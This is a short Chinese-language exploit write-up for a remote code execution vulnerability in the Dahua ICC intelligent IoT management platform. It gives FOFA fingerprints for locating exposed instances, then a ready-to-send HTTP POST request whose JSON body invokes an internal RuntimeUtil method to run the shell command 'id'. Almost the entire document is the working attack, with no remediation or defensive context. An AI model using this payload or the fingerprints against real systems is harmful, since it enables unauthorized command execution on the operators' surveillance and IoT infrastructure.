大华ICC智能物联综合管理平台GetClassValue远程代码执行漏洞

Fofa

fid="loq5vf66/vn6HY0kmy1Gvg=="
icon_hash="-1935899595"

漏洞请求包

POST /evo-apigw/admin/API/Developer/ICC.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 207

      {
          "data": {
              "clazzName": "com.dahua.admin.util.RuntimeUtil",
              "methodName": "syncexecReturnInputStream",
              "fieldName": ["id"]
          }
      }